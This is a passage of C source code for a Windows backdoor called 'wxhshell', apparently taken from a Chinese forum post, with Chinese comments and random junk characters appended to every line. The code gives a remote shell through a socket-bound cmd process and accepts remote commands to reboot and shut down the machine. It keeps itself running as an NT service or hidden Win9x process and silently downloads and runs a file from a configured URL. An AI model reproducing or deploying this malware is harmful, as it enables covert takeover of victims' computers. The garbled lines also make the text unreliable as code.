    switch(cmd[0]) { 0hXI1@8]`  
  8/f ,B:by  
  // 帮助 ^o]ZDc  
  case '?': {  KAmv7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1e*+k$-{  
    break; FW:x XK  
  } T=}(S4n#BX  
  // 安装 *doK$wYP  
  case 'i': { pvJ@$L `'  
    if(Install()) tFL/zqgm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}S#6|[i  
    else {Q[{H'Oa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I|JMkP  
    break; zg&<HJO  
    } _|xO4{X  
  // 卸载 "P=OpFV  
  case 'r': { RV5X0  
    if(Uninstall()) Crmxsw.W^Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l;: L0(('  
    else 'D8WNZ8Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w1/p wzn  
    break; U7.3`qd"  
    } |k:MXI  
  // 显示 wxhshell 所在路径 Qj? +R F6(  
  case 'p': { [y| "iSD  
    char svExeFile[MAX_PATH]; GFOd9=[  
    strcpy(svExeFile,"\n\r"); _e$15qW+  
      strcat(svExeFile,ExeFile); A^_BK(EY  
        send(wsh,svExeFile,strlen(svExeFile),0); Mf%0Cx `  
    break; v`MCV29!}  
    } .oYUA}  
  // 重启 Fd-PjW/E8  
  case 'b': { v2:A 4Pd:+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zR(}X8fP  
    if(Boot(REBOOT)) (7q!Z!2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;wIpche  
    else { y]aV7 `]  
    closesocket(wsh); q-gN0"z^6$  
    ExitThread(0); bR6.Xdt.n  
    } ps"DL4*  
    break; )y(pd  
    } zlZ$t{[,  
  // 关机 40N8?kQ}?  
  case 'd': { 5BCXI8Ox9x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hex:e2x  
    if(Boot(SHUTDOWN)) W[[3'JTF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D)XF@z;  
    else { V*rAZ0  
    closesocket(wsh); 1u7Kc'.xc  
    ExitThread(0); "qUUH4mR`  
    } y^tuybpZY<  
    break; Qx|m{1~-  
    } <Yu}7klJE  
  // 获取shell twU^ewO&  
  case 's': { W}bed],l  
    CmdShell(wsh); Io*`hA]  
    closesocket(wsh); 4bqi&h3  
    ExitThread(0); Juj"cjob  
    break; -l<b|`s=w.  
  } 7OX5"u!2  
  // 退出 PI(;t9]b  
  case 'x': { qz"di~7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X[:Hp`_$  
    CloseIt(wsh); .w\AyXp  
    break; +0\BI<aG  
    } okJ+Yl.[?7  
  // 离开 @6 uB78U4O  
  case 'q': { n=l>d#}$%T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J`a$"G B.  
    closesocket(wsh); Aa-L<wZVPt  
    WSACleanup(); fOCLN$x^  
    exit(1); ;@GlJ '$;  
    break; yB\}e'J^  
        } UVlD]oXKh  
  } #z_lBg. K  
  } >&3M #s(w  
JsI` #  
  // 提示信息 m07= _4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yKF"\^`@  
} Yo3my>N&g  
  } Cqy84!Z<  
r$}M,! J  
  return; NrT!&>M  
} &p=Uus  
QNn\wz_)  
// shell模块句柄 /"?yB$s  
int CmdShell(SOCKET sock) _0ki19rs  
{ Z .VIb|  
STARTUPINFO si; p/L|;c  
ZeroMemory(&si,sizeof(si)); hdt;_qa   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9`Bmop  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n@  lf+  
PROCESS_INFORMATION ProcessInfo; , f{<  
char cmdline[]="cmd"; WzZ<ZCHm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @S\!wjl]C  
  return 0; H)z}6[`  
}   4Ra  
2%UzCK  
// 自身启动模式 TeaP\a  
int StartFromService(void) Q.X)QCp#r  
{ b{JcV  
typedef struct  |`[0U  
{ 2\80S[f  
  DWORD ExitStatus; }A,9`  
  DWORD PebBaseAddress; ekC 1wN l  
  DWORD AffinityMask; AL@8v=  
  DWORD BasePriority; _K["qm{X_  
  ULONG UniqueProcessId; -J*BY2LU3f  
  ULONG InheritedFromUniqueProcessId; 69ZGdN  
}   PROCESS_BASIC_INFORMATION; q ww*  
,Z*&QR  
PROCNTQSIP NtQueryInformationProcess; UngDXD )  
a)w *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  @v &hr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )(yD"]co  
ci*rem  
  HANDLE             hProcess; y(/"DUx  
  PROCESS_BASIC_INFORMATION pbi; Kab"r_'  
Qc1NLU9:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KSkT6_<  
  if(NULL == hInst ) return 0; 0N.B =j|  
oS3'q\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j<|I@0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -P#PyZEH&I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ahl-EVIr<  
4.Luy  
  if (!NtQueryInformationProcess) return 0; |j:"n3~6  
}2c)UQD8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WjLy7&  
  if(!hProcess) return 0; :"QR;O@  
yu3: Hv}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *|WS,  
]e`&py E  
  CloseHandle(hProcess); sZ,xbfZby  
-yyim;Nj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cW%QKdTQY0  
if(hProcess==NULL) return 0; ! R rk  
j#4 Iu&YJ  
HMODULE hMod; 5B6twn~[  
char procName[255]; \%& BK.t  
unsigned long cbNeeded; ybk~m  
t<=Ru*p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zv[$ N,  
y2Eq-Ie  
  CloseHandle(hProcess); 96G8B62  
][vm4UY  
if(strstr(procName,"services")) return 1; // 以服务启动 2kukQj (n  
) 0NKL:u  
  return 0; // 注册表启动 6!F@?3qCyg  
} (j<FS>##  
].ZfTrM]  
// 主模块 >Sc)?[H  
int StartWxhshell(LPSTR lpCmdLine) _[%2QwAUj*  
{ mQL8ec_c  
  SOCKET wsl; WXq=FZ-  
BOOL val=TRUE; FTu6%~M/  
  int port=0; G-7!|&  
  struct sockaddr_in door; 8w4-Ud*$i  
\e)>]C}h  
  if(wscfg.ws_autoins) Install(); gR5 EK$  
jGm`Qg{<  
port=atoi(lpCmdLine); ky4 ;7RK  
`G/%U~  
if(port<=0) port=wscfg.ws_port; aMv?D(Meb  
H){}28dX  
  WSADATA data; xA7>";sla[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HpLCOY1-  
|:7 ^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    6chcpP0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .4CCR[Het  
  door.sin_family = AF_INET; 8-#_xsZ^;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;*{"|l qe  
  door.sin_port = htons(port); O$eNG$7  
[|qV*3 |?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?.{SYaS  
closesocket(wsl); IL0e:-@!0  
return 1; bm>N~DC  
} T6ihEb$C  
?T1vc  
  if(listen(wsl,2) == INVALID_SOCKET) { c/6  
closesocket(wsl); k2 _i;v  
return 1; |lDxk[  
} +x!Hc  
  Wxhshell(wsl); ZA1:Y{ V  
  WSACleanup(); #Vy8<Vy&w  
2`'g 9R  
return 0; Tv[h2_+E  
8(zE^W,[8"  
} bmzY^ %a  
+,Ud 3iS  
// 以NT服务方式启动 Rs@>LA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eIDrN%3  
{ IRknD3LX  
DWORD   status = 0; oNEjlV*  
  DWORD   specificError = 0xfffffff; <da-iY\5  
u<['9U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; " "@kBY1C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \<aR^Sj.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <rihi:4K  
  serviceStatus.dwWin32ExitCode     = 0; O7"16~ a  
  serviceStatus.dwServiceSpecificExitCode = 0; 56?RFnZ&j  
  serviceStatus.dwCheckPoint       = 0; %f?Z/Wn  
  serviceStatus.dwWaitHint       = 0; fsjCu!  
y9Q #%a8V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g:fkM{"{  
  if (hServiceStatusHandle==0) return; ey]WoUZ  
<*Gd0 v%  
status = GetLastError(); a$=He   
  if (status!=NO_ERROR) ^qY?x7mx1  
{ eH_< <Xh!v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Ahw{z`H#  
    serviceStatus.dwCheckPoint       = 0; 9u;/l#?@T  
    serviceStatus.dwWaitHint       = 0; aizJ&7(>  
    serviceStatus.dwWin32ExitCode     = status; 6}cN7wnm j  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3iIURSG@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )61X,z  
    return; / q| o  
  } *B)J(^M!q  
$'x#rW>v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L,O.XR  
  serviceStatus.dwCheckPoint       = 0; %<O0Yenu  
  serviceStatus.dwWaitHint       = 0; M <nH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O?`_RN4l  
} (PC)R9r5  
2EH0d6nt  
// 处理NT服务事件,比如:启动、停止 Ya &\b 6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ffQm"s:P  
{ :+_  
switch(fdwControl) eakQZ-Q  
{ r3NdE~OAi  
case SERVICE_CONTROL_STOP: r>ag( ^J\  
  serviceStatus.dwWin32ExitCode = 0; =[:pm)   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iv ~<me0F  
  serviceStatus.dwCheckPoint   = 0; 7O-fc1OTv  
  serviceStatus.dwWaitHint     = 0; P~*'/!@  
  { a$5P\_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|Xr~\=  
  } | Rj"}SC  
  return; )A$xt)}P!{  
case SERVICE_CONTROL_PAUSE: \ZtKaEXnx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; af'gk&%  
  break; w|1O-k`  
case SERVICE_CONTROL_CONTINUE: Mi} .  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n%6ba77  
  break; *zwo="WA\t  
case SERVICE_CONTROL_INTERROGATE: mndKUI}d  
  break; CB0p2WS_  
}; 8shx7"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aH dQi,=z  
} h0?w V5H  
j}O7fLRu  
// 标准应用程序主函数 Gl%N}8Cim  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) twox.@"U  
{ f@ILC=c<  
,u=+%6b)A  
// 获取操作系统版本 zHKx,]9b  
OsIsNt=GetOsVer(); UyAy?i8K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }tO>&$ Z6f  
&I:ZJuQ4  
  // 从命令行安装 OtbPr F5  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^fQa whub  
uD?Rs`  
  // 下载执行文件 _3IRj=Cs  
if(wscfg.ws_downexe) { w6h*dh$w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IgN^~ag`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Z9(ll:<$  
} N 9s+Tm  
L_tjclk0J  
if(!OsIsNt) { q8!]x-5$6j  
// 如果时win9x,隐藏进程并且设置为注册表启动 YkbuyUui  
HideProc(); *c>B-Fo/D  
StartWxhshell(lpCmdLine); @*E=O|  
} Sf*gAwnW  
else 7&dK_x,a  
  if(StartFromService()) 6!se,SCvw  
  // 以服务方式启动 -ykD/  
  StartServiceCtrlDispatcher(DispatchTable); * ,zrg%8  
else e{H(  
  // 普通方式启动 n]6-`fpD  
  StartWxhshell(lpCmdLine); #-o 'g!  
T!I3.  
return 0; +KaVvf  
}
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只看该作者 1 发表于: 2006-10-10
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